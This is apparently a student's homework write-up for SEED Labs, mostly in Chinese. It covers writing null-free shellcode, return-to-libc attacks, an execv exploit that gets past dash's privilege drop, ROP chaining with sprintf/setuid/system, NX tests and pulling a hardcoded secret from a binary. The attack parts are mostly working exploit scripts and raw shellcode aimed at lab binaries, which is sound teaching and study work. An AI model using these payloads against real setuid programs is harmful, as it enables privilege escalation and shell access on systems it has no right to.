# information security hw3
## 3.1 SEED Lab
### Task 1: Writing Assembly Code


### Task 2: Writing Shellcode (Approach 1)
1.

2.
我設 breakpoint 在 line 9 ,並且在 run 之後輸入 `x/40bx $rbx` 來取得

3.
在 call one 的時候會把 return address push 進去 stack 。在 one 裡面,我們用 `pop rbx` 把 return address 放到 rbx 裡面,我們的 return address 是指向 two 的`/bin/sh` ,因此我們可以把它 `mov [rbx+8], rbx` 放到 rbx + 8 的位置,就是我們在 two 那邊預留的 `db ’AAAAAAAA’` ,因此我們就成功把 `/bin/sh` 放到 `argv[0]`。接著由於 rax 是存 0 ,我們把它放到 `mov [rbx+16], rax` rbx + 16 這個位置,記事我們在 two 那邊預留的 `db ’BBBBBBBB’` ,因此我們就成功把 `0` 放到 `argv[1]`。
In conclusion, line 12 `mov [rbx+8], rbx` and line 14 `mov [rbx+16], rax` set the values for `argv[0]` and `argv[1]`, respectively.
4.
`mov rdi, rbx` 和 `lea rsi, [rbx+8]` 代表的是把數值帶入 execve 的參數裡。`rdi` 代表第一個參數, `rsi` 代表第二個參數,我把 `rbx` 這個 `/bin/sh` 放入第一個參數,再把 `rbx+8` 也就是 argv 的記憶體位置用 `lea` 放進去第二個參數。
#### Task 2.b. Eliminate zeros from the code

`mov rax, 0x00`, `mov rdx, 0x00`, `mov rax, 59` 這三個會有 0 。
```
section .text
global _start
_start:
BITS 64
jmp short two
one:
pop rbx
xor al, al
mov [rbx+7], al
mov [rbx+8], rbx ; store rbx to memory at address rbx + 8
xor rax, rax ;
mov [rbx+16], rax ; store rax to memory at address rbx + 16
mov rdi, rbx ; rdi = rbx
lea rsi, [rbx+8] ; rsi = rbx + 8
xor rdx, rdx ;
mov rax, 0xFFFFFFFFFFFFFF3b ; rax = 59
shl rax, 56 ;
shr rax, 56 ;
syscall
two:
call one
db '/bin/sh', 0xFF ; The command string (terminated by a zero)
db 'AAAAAAAA' ; Place holder for argv[0]
db 'BBBBBBBB' ; Place holder for argv[1]
```

#### Task 2.c. Run a more complicated command

```
section .text
global _start
_start:
BITS 64
jmp short two
one:
pop rbx;
xor al, al;
mov [rbx+9], al;
mov [rbx+12], al;
mov [rbx+31], al;
lea rdi, [rbx] ;
lea rsi, [rbx+10] ;
lea rdx, [rbx+13] ;
mov [rbx+32], rdi ;
mov [rbx+40], rsi ;
mov [rbx+48], rdx ;
xor rax, rax ;
mov [rbx+56], rax ;
mov rdi, rbx ;
lea rsi, [rbx+32] ;
xor rdx, rdx ;
mov rax, 0xFFFFFFFFFFFFFF3b ; rax = 59
shl rax, 56 ;
shr rax, 56 ;
syscall
two:
call one
db '/bin/bash', 0xFF ; The command string (terminated by a zero)
db '-c', 0xFF ;
db 'echo hello; ls -la', 0xFF;
db 'AAAAAAAA' ; Place holder for argv[0]
db 'BBBBBBBB' ; Place holder for argv[1]
db 'CCCCCCCC' ;
db 'DDDDDDDD' ;
```
#### Task 2.d. Pass environment variables

```
section .text
global _start
_start:
BITS 64
jmp short two
one:
pop rbx;
xor al, al;
mov [rbx+12], al;
mov [rbx+22], al;
mov [rbx+32], al;
mov [rbx+48], al;
lea rdi, [rbx] ;
; argv
mov [rbx+49], rdi ;
xor rax, rax ;
mov [rbx+57], rax ;
lea rsi, [rbx+13] ;
lea rdx, [rbx+23] ;
lea rcx, [rbx+33] ;
mov [rbx+65], rsi ;
mov [rbx+73], rdx ;
mov [rbx+81], rcx ;
xor rax, rax ;
mov [rbx+89], rax ;
mov rdi, rbx ;
lea rsi, [rbx+49] ;
lea rdx, [rbx+65] ;
mov rax, 0xFFFFFFFFFFFFFF3b ; rax = 59
shl rax, 56 ;
shr rax, 56 ;
syscall
two:
call one
db '/usr/bin/env', 0xFF ; The command string (terminated by a zero)
db 'aaa=hello', 0xFF ;
db 'bbb=world', 0xFF;
db 'ccc=hello world', 0xFF;
db 'AAAAAAAA' ; Place holder for argv[0]
db 'BBBBBBBB' ; Place holder for argv[1]
db 'CCCCCCCC' ;
db 'DDDDDDDD' ;
db 'EEEEEEEE' ;
db 'FFFFFFFF' ;
```
### Task 3: Writing Shellcode (Approach 2)
#### Task 3.a

```
section .text
global _start
_start:
xor rdx, rdx ; 3rd argument (stored in rdx)
push rdx
mov rax, '-la/////';
push rax ;
xor al, al ;
mov [rsp+3], al ;
mov rax, 'lo; ls ' ;
push rax ;
mov rax, 'echo hel' ;
push rax ;
mov r8, rsp ;
xor rax, rax ;
push rax ;
mov rax, '-c//////' ;
push rax ;
xor al, al ;
mov [rsp+2], al ;
mov r9, rsp ;
xor rax, rax ;
push rax ;
mov rax, '////bash' ;
push rax ;
mov rax, '/bin////' ;
push rax ;
mov rdi, rsp ; 1st argument (stored in rdi)
xor rax, rax ;
push rax ;
push r8 ;
push r9 ;
push rdi ;
mov rsi, rsp ; 2nd argument (stored in rsi)
xor rdx, rdx ;
```
#### Task 3.b
第一種方式(jmp-call-pop)把所有字串資料集中放在程式碼段後方,透過 call 跳回來取得位址,用偏移量組成參數,整體看起來更簡潔、邏輯集中,也比較接近實際 exploit 用的 shellcode 結構。相比之下,第二種方式則是直接在堆疊中逐步組裝字串與參數,較為繁瑣且容易出錯,雖然直觀,但閱讀上較混亂。整體來說,我喜歡第一種,因為資料集中、邏輯清楚且維護起來比較輕鬆。
我比較喜歡第一種方式,因為它使用 jmp-call-pop 技巧讓資料和程式碼分離,架構清楚,且利用偏移量操作記憶體可以讓整體邏輯更集中易讀。相較於第二種手動 push 每一段字串、需要注意對齊與順序,第一種方式更有系統,也更像實際 shellcode 的寫法。
## 3.2 SEED Lab
### Task 1: Finding out the Addresses of libc Functions

- `system()` 的地址是 `0xf7dbf760`
- `exit()` 的地址是 `0xf7dabd00`
- `_exit()` 的地址是 `0xf7e54170`
### Task 2: Putting the shell string in the memory


- `/bin/sh` address is `0xffffd60f`
### Task 3: Launching the Attack
助教你敢相信嗎,我的 exit() 的記憶體位置最後是 00 ,所以 strcpy 會失敗,我想說我運氣真的太差了,所以我到 digitalocean 上重新開一個 vps ,並且重新安裝 seedlab ,結果又一樣,是 00 結尾。
最後我想到可以改用 `_exit()` ,exit() 也是呼叫 `_exit()` ,只是會把 file stream 關掉而已,所以我改用這個,我真的不想再開一個 vps 了。

```python=
#!/usr/bin/env python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
X = 36
sh_addr = 0xffffd60f # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
Y = 28
system_addr = 0xf7dbf760 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
Z = 32
exit_addr = 0xf7e54170 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
# Save content to a file
with open("badfile", "wb") as f:
f.write(content)
```
#### Attack variation 1:
```python=
#!/usr/bin/env python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
X = 36
sh_addr = 0xffffd60f # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
Y = 28
system_addr = 0xf7dbf760 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
# Z = 32
# exit_addr = 0xf7e54170 # The address of exit()
# content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
# Save content to a file
with open("badfile", "wb") as f:
f.write(content)
```

也是可以攻擊,只是因為沒有給它 `exit()` 的記憶體位置,所以當 `system()` 結束時會跳到不知道哪個地方,而造成 segmentation fault ,就像 L 紀上課說的,會比較丑而已,不然沒關係。
## Attack variation 2:

會失敗,因為我們的 `/bin/sh` 的記憶體位置為變,當我們的檔案長度不一樣的時候,這個 L 紀也講過,也在前面的 seedlab 有提到,所以老師上課才會取名 `env55` ,確保檔案名稱長度一樣。
### Task 4: Defeat Shell’s countermeasure

- `execv()` address is `0xf7e54b40`
```python=
#!/usr/bin/env python3
import sys
def tobytes ( value ):
return (value).to_bytes( 4, byteorder='little' )
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
execv_addr = 0xf7e54b40
input_addr = 0xffffcfd0
bash_str_offset = 128
p_str_offset = bash_str_offset + 10
argv_offset = p_str_offset + 3
content[bash_str_offset:bash_str_offset+10] = b'/bin/bash\x00'
content[p_str_offset:p_str_offset+3] = b'-p\x00'
bash_addr = input_addr + bash_str_offset
p_addr = input_addr + p_str_offset
content[argv_offset:argv_offset+4] = tobytes(bash_addr)
content[argv_offset+4:argv_offset+8] = tobytes(p_addr)
content[argv_offset+8:argv_offset+12] = tobytes(0)
ret_baseaddr = 28
content[ret_baseaddr:ret_baseaddr+4] = tobytes(execv_addr)
dummy_ret_addr = 0x11223344
content[ret_baseaddr+4:ret_baseaddr+8] = tobytes(dummy_ret_addr)
content[ret_baseaddr+8:ret_baseaddr+12] = tobytes(bash_addr)
argv_addr = input_addr + argv_offset
content[ret_baseaddr+12:ret_baseaddr+16] = tobytes(argv_addr)
# Save content to a file
with open("badfile", "wb") as f:
f.write(content)
```
將程式在溢位後的 return address 改為指向 libc 裡的 execv 函式,並在 stack 上準備好 execv 所需要的參數。首先在輸入資料中擺上 /bin/bash 和 -p 的字串,接著在這些字串之後建立一個 argv 陣列,內容包含 /bin/bash、-p 的地址以及 NULL。這些資料會因為被寫入到 main 的 input buffer,而存在記憶體的某個位置,我們可以預測它們的地址並填入給 execv 使用。最後,透過 overflow 改掉 return address,讓程式回傳後跳到 execv,並且傳入準備好的字串與 argv 陣列位置,成功執行 /bin/bash -p 而不會掉權,取得 root shell。

成功了
### Task 5 (Optional): Return-Oriented Programming

- `foo()` 的地址是 `0x5655623c`
- `_exit()` 的地址是 `0xf7e54170`
參考老師上課寫的 code
```python=
#!/usr/bin/python3
import sys
def tobytes ( value ):
return (value).to_bytes( 4, byteorder='little' )
foo_address = 0x5655622c
exit_address = 0xf7e54170
content = bytearray( 0xaa for i in range( 24 ) )
content += tobytes( 0xFFFFFFFF )
for i in range( 10 ):
content += tobytes( foo_address )
content += tobytes( exit_address )
with open( "badfile", "wb" ) as f:
f.write( content )
```

## 3.3 NX
### BIOS With NX

### BIOS Without NX
盡力了,我的電腦是 msi 的,我打算直接用我電腦的 bios 做,但我實在找不到 NX bit 要在哪 disable 。
https://www.youtube.com/watch?v=E22LPY8GlHI
https://www.youtube.com/watch?v=IzAnxcr6WRI
https://www.youtube.com/watch?v=Pp3QfVGBbFo
https://www.youtube.com/watch?v=zL5KZVS6vxA
https://forum-en.msi.com/index.php?threads/nx-bit-in-bios.262039/
https://download-2.msi.com/archive/mnu_exe/mb/AMDAM5BIOStc.pdf
我也查閱了很多資料,但我這款就是找不到在哪裡關

我有看到 advanced CPU configuration ,但是點進去,沒有可以關的地方,我也嘗試過查詢的方式,右上角那個按鈕,但是輸入相關字眼,`execution`, `NX`, `bit` ,依然無果。
因此這題我就查了相關資訊,並且給出判斷,我認為如果從 BIOS 那邊把 NX bit disable 掉,我們就可以直接在 stack 和 heap 上執行,而不用加上 `-z execstack` 。
我也附上我在這題用到的程式碼:
stack_shellcode.c
```c=
#include <stdio.h>
#include <string.h>
const char shellcode[] =
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53"
"\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
void test_stack_execution(){
char buffer[100];
memcpy(buffer, shellcode, sizeof(shellcode));
printf("try to execute shellcode on stack...\n");
printf("Shellcode address: %p\n", buffer);
void (*func)() = (void (*)())buffer;
func();
}
int main(){
printf("main address: %p\n", main);
test_stack_execution();
return 0;
}
```
heap_shellcode.c
```c=
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char shellcode[] =
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53"
"\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
int main(int argc, char **argv)
{
char code[500];
char *c = malloc(1000);
strcpy(c, shellcode);
int (*func)() = (int(*)())c;
func();
return 1;
}
```
如果成功執行,我們就可以得到一個 shell 。
## 3.4 Password Guess
我們編譯過後的執行檔叫做 `test`
1. 用 gdb ,這邊在編譯的時候有加上 `-g` 參數

2. 用 strings 指令直接掃描可列印的字串

就可以找到 Congratulation! The secret is uiwebqwhec12!
3. 使用 readelf 去讀 `.rodata`

4. 使用 objdump 也可以 dump 出我們要的 secret

5. 由於第一個使用 gdb 我怕不給過,因為我在編譯時是有加上 `-g` 的,所以再加一個
使用 hexdump 我們也可以得到 secret


## 3.5 Defeat DASH Countermeasure
這題是 https://blog.ch3nyang.top/post/seedlab_return2libc/ 的 Task 5 教我寫的,不是我自己想出來怎麼寫的。
攻擊 seedlab 提供的 `retlib.c`
```c=
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
unsigned int *framep;
// Copy ebp into framep
asm("movl %%ebp, %0" : "=r" (framep));
/* print out information for experiment purpose */
printf("Address of buffer[] inside bof(): 0x%.8x\n", (unsigned)buffer);
printf("Frame Pointer value inside bof(): 0x%.8x\n", (unsigned)framep);
strcpy(buffer, str);
return 1;
}
void foo(){
static int i = 1;
printf("Function foo() is invoked %d times\n", i++);
return;
}
int main(int argc, char **argv)
{
char input[1000];
FILE *badfile;
badfile = fopen("badfile", "r");
int length = fread(input, sizeof(char), 1000, badfile);
printf("Address of input[] inside main(): 0x%x\n", (unsigned int) input);
printf("Input size: %d\n", length);
bof(input);
printf("(^_^)(^_^) Returned Properly (^_^)(^_^)\n");
return 1;
}
```

- `/bin/sh` address is `0xffffd610`
- `setuid()` address is `0xf7e75f10`
- `_exit()` address is `0xf7e54170`
- `system()` address is `0xf7dbf760`
- `sprintf()` address is `0xf7dcd550`
- `leave` address is `0x5655622a`
- `ebp_bof` address is `0xffffcfb8`
- `foo()` address is `0x5655622c`

```python=
#!/usr/bin/env python3
import sys
def tobytes (value):
return (value).to_bytes(4, byteorder= 'little')
content = bytearray(0xaa for i in range (24))
sh_addr = 0xffffd610
setuid_addr = 0xf7e75f10
exit_addr = 0xf7e54170
system_addr = 0xf7dbf760
sprintf_addr = 0xf7dcd550
leaveret = 0x5655622a
ebp_bof = 0xffffcfb8
foo_addr = 0x5655623c
sprintf_arg1 = ebp_bof + 12 + 5*0x20
sprintf_arg2 = sh_addr + len("/bin/sh")
ebp_next = ebp_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2*4)
for i in range(4):
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(sprintf_addr)
content += tobytes(leaveret)
content += tobytes(sprintf_arg1)
content += tobytes(sprintf_arg2)
content += b'A' * (0x20 - 5*4)
sprintf_arg1 += 1
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0xFFFFFFFF)
content += b'A' * (0x20 - 4*4)
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)
content += b'A' * (0x20 - 4*4)
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)
with open("badfile", "wb") as f:
f.write(content)
```
